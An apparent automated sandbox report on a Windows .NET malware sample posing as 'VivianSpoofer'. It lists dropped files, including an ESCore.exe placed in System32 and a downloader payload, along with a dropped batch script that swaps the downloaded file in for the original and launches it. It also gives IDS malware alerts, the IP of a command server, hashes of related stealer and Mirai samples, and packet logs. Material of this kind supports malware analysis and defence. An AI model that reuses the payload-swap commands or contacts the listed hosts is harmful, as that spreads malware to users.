Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target VivianSpoofer.exe, PID 1680 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GD-EMEA-DC-SXB1DE	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	62.138.179.167
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	92.205.57.102
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	92.205.57.102
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	92.205.57.102
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	92.205.57.102
	hmips.elf	Get hash	malicious	Mirai	Browse	188.138.99.78
	https://atc-secure.com/nocod/wetransdnyd.html#k.muench@muenchundmuench.com	Get hash	malicious	Unknown	Browse	92.205.22.61
	236236236.elf	Get hash	malicious	Unknown	Browse	91.250.85.177
	bot.m68k.elf	Get hash	malicious	Mirai	Browse	85.25.248.167

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	VegaStealer_v2.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	92.205.3.41
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	92.205.3.41
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	92.205.3.41
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	92.205.3.41
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	92.205.3.41
	lumma.ps1	Get hash	malicious	LummaC	Browse	92.205.3.41
	Titan.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	Titan.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	92.205.3.41
37f463bf4616ecd445d4a1937da06e19	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	92.205.3.41
	Gabriel-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	92.205.3.41
	setup.msi	Get hash	malicious	Unknown	Browse	92.205.3.41
	fxsound_setup.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	test5.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	92.205.3.41
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	92.205.3.41
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	92.205.3.41
	solara-executor.exe	Get hash	malicious	Unknown	Browse	92.205.3.41
	Setup.exe	Get hash	malicious	Unknown	Browse	92.205.3.41

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\aYu936prD4.exe.log

Download File

Process:	C:\Users\user\Desktop\aYu936prD4.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2187
Entropy (8bit):	5.371707726863805
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/elZHNpe8mHDp684tHTHhAHKKkBAmHKcA9:iq+wmj0qCYqGSI6o9Zp/elZtp6CtzHe7
MD5:	6383D39342FDE91377B00D77F3EA1713
SHA1:	1D184EDBFACD3FB05232A606F023EB492E1278F6
SHA-256:	073C5251726A1B848D57FDD4E35312A24F89023D9A4817EC8BE94B6C7A7A02C0
SHA-512:	645C672BD943C4D0836D75376A11EBFF99862DD6C77732AAC9AB657381C1183842DF5BE1526EC1E24E641EDF533832906A5AD4D73029E803F59CCCFC96B5639C
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Aut[1].htm

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	data
Category:	dropped
Size (bytes):	3229
Entropy (8bit):	5.990399060464226
Encrypted:	false
SSDEEP:	96:ZmmZ12uI2Ej0VkZrSjJLlOy9cjcKv8Obgb/4zXAEg:MmZ1V40miJB79cjZ7bXO
MD5:	CDCA99718D848FDE387111ECCACFBED3
SHA1:	109FC9706A7C752EEA85DC64E3D03A6C36840CCB
SHA-256:	059E029CD2DBD9CCEED05D1DF74682B35F15F620FE824ED879AB91A6640A9B02
SHA-512:	B169C9A967DC2DC0229D9D6D2C1042D8B7EC0114C9148680A621BB95BFBC7492F7105881F09479267C497FD5679E6DD5E7C08969A46F52A03165C29842017457
Malicious:	false
Preview:	....rna69< 65t.....xht.;&=7=r..xhtpiazp``zpl`zpnkt........abr...cdabrfqjgesijt......rna...ph.t{xceyie.l`.e...y.jb...cda.......abr.n.r.......rna.}.LR....rna ,9x.....t{x.751$1a..t{xcdxvcmwvc`uvcfpx........rna...phrnajbfui`fvx......abr...cd.xht...d.o..un..yu.l...eqx.......xht.w.t.......t{x.{.UX....t{x:9,5r.....abr.",;"$x..abr`tv``uv`eojaba........xht...eqxhtsh``pj`ca......t{x...ib.abrlwkcbwujmyjf`l.j...cda.......abr.n.r.......rna.}.LR....rna5=1a.....rna.1 (.7t..rnajfzpi`zsmbzpiat........abr...cdabrfqjfesjkt......rna...ph.t{x..w..`l.ce.icy.`...ibt.......t{x.{.x.......xht.w.YK....xht..f.q.r.....abr.",;"$x..abrlxvcaqvcbsvcbyx........rna...phrnajbfthcdqx......abr...cd.xht...`yi.ay.``.u.l...eqx.......xht.w.t.......t{x.{.UX....t{x5;&7>="9r.....abr.",;"$x..abreql\|fyvcmrvcfxx........rna...phrnajbfthcdpx......abr...cd.xhtxkdltk.g....yu.l...eqx.......xht.w.t.......t{x.{.UX....t{x?==?=*=r.....abr.",;"$x..abrgtvcapv`aqvcgrx........rna...phrnajbfthceyx......abr...cd.xhtphf.......g.ru.es...phr.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Aut[1].htm

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.75
Encrypted:	false
SSDEEP:	3:tKE:tKE
MD5:	9E5E1898F5CF5712C0421AFBA332DE48
SHA1:	7EB2B84E68A3CA7251D9275BE7655B23D1B8D3EA
SHA-256:	A64EA2E5DF03E9FA20F3D25F716DD3264D050FA67AC7F133B1476599A7FA9F47
SHA-512:	A862637B605C9C110750CE9BE336F808488F1F52A388576C751B6B7E17D1739FB2D60DD91B936AE3663EA974AF137FB6FA09A9A98D9EFDDBE6CC2B28285AF1AD
Malicious:	false
Preview:	`dslcfsa

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\Aut[1].htm

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:zAC1n:Pn
MD5:	9FBB8ED3E3ADE6B38053455334A930DC
SHA1:	F18A31DD1B6E8C0A1AD0E05EF29793F1D62ECBCA
SHA-256:	EA6B7B470BE9DE54296EDF53A2EFD2369345230688756087951A3F278406EE7D
SHA-512:	7AAE0305B37F53D3E7C920F57D4AAE84F9C5BE6A3748FC0D715720F8F39C91CAD6C00895EA5678387076420E9DA9F7EF401B58CFC10D3C742EB9468B86D5EB21
Malicious:	false
Preview:	.=253 "0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Aut[1].htm

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.2516291673878226
Encrypted:	false
SSDEEP:	3:egZa:eg4
MD5:	AE141D36E6AAA3F4CE39EFF01FC8A910
SHA1:	B4BD118544D4A59529A0AAD6F5BA0EA2C3AFF5E7
SHA-256:	7928D484CFA82029A63625AC8BA5DA1AFC11ECC134A59E7A7037CFCB45A5D505
SHA-512:	2A3F153AC8F37FC8C61CE1EA3003A4E996DED5C46A71040145F00BBE126D56825BA21D77996BBAA015DBE1A05801445D22C63C00B9AE58E759EA5E2E65A7CB9F
Malicious:	false
Preview:	jzun\|esk\|eya

C:\Users\user\Desktop\UpdatePackage.dat

Download File

Process:	C:\Users\user\Desktop\aYu936prD4.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21683472
Entropy (8bit):	7.859606865807365
Encrypted:	false
SSDEEP:	393216:AdDlr46pij7uGjk8SW2h30EEHQzXsu6jB9JRmVMTvcMgqogBWory:AN546sKGjk8SFSEEhjYMTv1gqo0ry
MD5:	48DE217B20FEEF7FBD491904885FADE9
SHA1:	020262D1A8B61B3DE5BCFEAD60970690952BBD46
SHA-256:	C46EC742DBF66A8CF38CB9771CCC0DF2F87AB80E95AA3ECB7B8E511DCE87BC0C
SHA-512:	330B97ED54FA83617169D4C50058033C852F04062C55348D26D1106EAC14A56BA5B034E5D11062C08CF295169245464A315AD065E9443B1BC8FF6568E2C60AD7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\Desktop\UpdatePackage.dat, Author: Joe Security Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: C:\Users\user\Desktop\UpdatePackage.dat, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...%big.........."..........V.......2... ....@...... .......................@K.....f.K...`.................................................x2..T.....J..S............J...... K......................................................2..............`ID.H...........eQ*kK6u...... ...................... ..`;^zEH,>R.....@...................... ..`-!c>1D&YxI...`;..J....;............. ..`Dl:$]-l>.S....J..T...hJ.............@..@,=9EfFRZ..... K.......J.............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Updater.bat

Download File

Process:	C:\Users\user\Desktop\aYu936prD4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	130
Entropy (8bit):	4.72837529270203
Encrypted:	false
SSDEEP:	3:oSWPVErCK2Rq4uvNDEREy3NvN+KWMNvA:oS1CK2RuvNAREy3NvN2MNvA
MD5:	E2CD9036495CBC9DC7392FE335A4FBA1
SHA1:	8303D2616DCD7B01DAF96BAFFF91DCA79BE36391
SHA-256:	A556099BE54087882A5D7AE3D478DBF86DBB1E3F1E69C80277A0763B063E6B78
SHA-512:	C0CB44C740CBDE3FEDF1AEBDA2FAED546A92D89A2985DA9EC948178B9E1DA53A3AC378017BD105CC127F55F67961088820ADBD0FA0374299E8CFD51BC06876F9
Malicious:	false
Preview:	SET mypath=%~dp0..cd mypath..timeout /t 5..del VivianSpoofer.exe..ren UpdatePackage.dat VivianSpoofer.exe..start VivianSpoofer.exe

C:\Users\user\Desktop\VivianSpoofer.exe (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21683472
Entropy (8bit):	7.859606865807365
Encrypted:	false
SSDEEP:	393216:AdDlr46pij7uGjk8SW2h30EEHQzXsu6jB9JRmVMTvcMgqogBWory:AN546sKGjk8SFSEEhjYMTv1gqo0ry
MD5:	48DE217B20FEEF7FBD491904885FADE9
SHA1:	020262D1A8B61B3DE5BCFEAD60970690952BBD46
SHA-256:	C46EC742DBF66A8CF38CB9771CCC0DF2F87AB80E95AA3ECB7B8E511DCE87BC0C
SHA-512:	330B97ED54FA83617169D4C50058033C852F04062C55348D26D1106EAC14A56BA5B034E5D11062C08CF295169245464A315AD065E9443B1BC8FF6568E2C60AD7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...%big.........."..........V.......2... ....@...... .......................@K.....f.K...`.................................................x2..T.....J..S............J...... K......................................................2..............`ID.H...........eQ*kK6u...... ...................... ..`;^zEH,>R.....@...................... ..`-!c>1D&YxI...`;..J....;............. ..`Dl:$]-l>.S....J..T...hJ.............@..@,=9EfFRZ..... K.......J.............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\ESCore.exe

Download File

Process:	C:\Users\user\Desktop\aYu936prD4.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6318080
Entropy (8bit):	7.971091997366663
Encrypted:	false
SSDEEP:	98304:lz+K4QUC/p60CRJg07uuDieWCvMjlG+vdd78fotOeDW2hBd7Rnitx7GE:l8wh/M607uve/vLk8gtrW2h3071
MD5:	689211E5BDAC447C2F016BFBAD0B8CFE
SHA1:	9B6A788BE8453F1905BCBBA657282143B2814E83
SHA-256:	428AA5C658B6347F48ED9CF39593D1CDDAF575F3A9F2AB94A8A1555A1413B3C3
SHA-512:	1AD6D57F72036418E409C0AEA241CB292C9E6F4E3492C05BE5F641526083B0010C1C291AB791572CF31DD0A0B5862DB0ED6C1155F2F05528EE012E6837999CC6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...\|]ig..........#....*.......................@.......................................... .................................................8........p.......;...4.......................................... ..(...p:..@.............T.0...........................')6SX#X;............................ ..`j?XIoYBN8...........................@..@2X6/(dFr`...........................@...'kq$.m0sd...........................@..@w+,49HG'\|NL......................... ..`^bu[leN@h.....T.....................@...=COi:vZ4._`...T..``.................`..h,:.z0qA6.....p.......f`.............@..@................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\System32\ESCore.exe
File Type:	data
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:zAC1y:Py
MD5:	0ABC2553054DB27983EF42573830BACB
SHA1:	172F48F08D7A1734CD6A910F1DD0BF944F122E36
SHA-256:	F59A05223A369CC89FBEAB3691B7F623EC229A0D768327F5787DF5051ECB4E83
SHA-512:	63D31B146C51F06E5FAB2816C6215F606079E2075FD6153B17496F143E27F96825B0805B2C074AB5BF4FB932E27AADB4D9559B71CB172E8308D6880488992FE4
Malicious:	false
Preview:	.=253 "0..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.866655558330813
TrID:	Win64 Executable GUI Net Framework (217006/5) 44.32% Win64 Executable GUI (202006/5) 41.26% Win32 EXE PECompact compressed (generic) (41571/9) 8.49% DOS Executable Borland C++ (13009/5) 2.66% Win64 Executable (generic) (12005/4) 2.45%
File name:	aYu936prD4.exe
File size:	22'372'864 bytes
MD5:	610d0db5d146f16caad2482b11c22d30
SHA1:	89132d1efee95a7a63980f1479bb40f72fc273da
SHA256:	8bdcd45ef7b2635fcae54376a03b803354dec1e97d9e2011e935f4ee72c3c92f
SHA512:	3555bc76f29100831b17f9f1f60902d75fb4bd70776985698da8b36fbc004269babffb050d6ef8daeb7b329bee8bdb18b5f0152719fc0ac46838386f75ae78da
SSDEEP:	393216:idDlr46zKXDcCZybqiOjzzvytDO1Ozq19KNT3AVQjI3JF+rghJ+7:iN546mZQbqiOjn6tMOBbA1D+cbG
TLSH:	25371241B680CEB6C26701B5D8A2C5F592F0BE189B11D74737C43E6B3EBD780AA35366
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Vg.........."......^...V.......}... ....@...... ........................U...........`................................

File Icon


Icon Hash:	3984eeb4a93292ac

Static PE Info

General

Entrypoint:	0xe27db6
Entrypoint Section:	&-RmNmFv
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6756F118 [Mon Dec 9 13:31:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00E27DC4h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
cwde
jnl 00007FEF0C50BB54h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa27d60	0x54	&-RmNmFv
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1554000	0x53fb	Z-/\dJTH
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x155a000	0xc	uIK@O>Dr
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa27dc4	0x8	&-RmNmFv
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x14ee0b0	0x48	?`jsa?kE
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
&-RmNmFv	0x2000	0xa25dd4	0xa25e00	801948400f94d3e6639083ec70ae29c1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
%x/1D?wT	0xa28000	0xa3f053	0xa3f200	f65eacb2e35ec3ec8ab8a1ce4ff15678	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
?`jsa?kE	0x1468000	0xeb6e8	0xeb800	98bb82dec41ab3643b2cccff9ee0fab9	False	0.5960825537420382	OpenPGP Public Key	6.650771131914688	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Z-/\dJTH	0x1554000	0x53fb	0x5400	425fa8a43236315f0ed258371bff5087	False	0.32287016369047616	data	4.842211813909747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
uIK@O>Dr	0x155a000	0xc	0x200	019d9e8f330dd1cca7290937d26268da	False	0.048828125	data	0.12227588125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x1554100	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	0.29103684459140294
RT_GROUP_ICON	0x1558338	0x14	data	1.1
RT_VERSION	0x155835c	0x33c	data	0.41545893719806765
RT_MANIFEST	0x15586a8	0xd53	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.38463793608912344

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T09:04:26.978973+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49710	92.205.3.41	443	TCP
2024-12-29T09:04:41.701725+0100	2008547	ET MALWARE PECompact2 Packed Binary - Sometimes Hostile	1	92.205.3.41	443	192.168.2.5	49710	TCP
2024-12-29T09:05:20.825844+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49814	92.205.3.41	443	TCP
2024-12-29T09:05:22.827654+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49820	92.205.3.41	443	TCP
2024-12-29T09:05:32.907359+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49841	92.205.3.41	443	TCP
2024-12-29T09:05:34.927077+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49848	92.205.3.41	443	TCP
2024-12-29T09:05:36.870709+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49854	92.205.3.41	443	TCP
2024-12-29T09:05:38.980324+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49859	92.205.3.41	443	TCP
2024-12-29T09:05:41.417867+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49865	92.205.3.41	443	TCP
2024-12-29T09:05:43.388013+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49869	92.205.3.41	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 09:04:19.076462984 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:19.076508045 CET	443	49706	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:19.076581001 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:19.094046116 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:19.094063044 CET	443	49706	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:20.940855980 CET	443	49706	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:20.940943956 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:20.947411060 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:20.947434902 CET	443	49706	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:20.947654963 CET	443	49706	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:20.990212917 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:21.120580912 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:21.163366079 CET	443	49706	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:21.869988918 CET	443	49706	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:21.870040894 CET	443	49706	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:21.870089054 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:21.883842945 CET	49706	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:24.949706078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:24.949749947 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:24.949820995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:24.961182117 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:24.961204052 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:26.412226915 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:26.414661884 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:26.414685965 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:26.979027033 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:26.979053020 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:26.979111910 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:26.979139090 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.021450043 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.180217028 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.180227041 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.180283070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.201143980 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.201217890 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.234605074 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.234667063 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.258368969 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.258440971 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.384385109 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.384453058 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.404373884 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.404439926 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.418981075 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.419044971 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.433787107 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.433866978 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.448810101 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.448880911 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.467870951 CET	443	49710	92.205.3.41	192.168.2.5
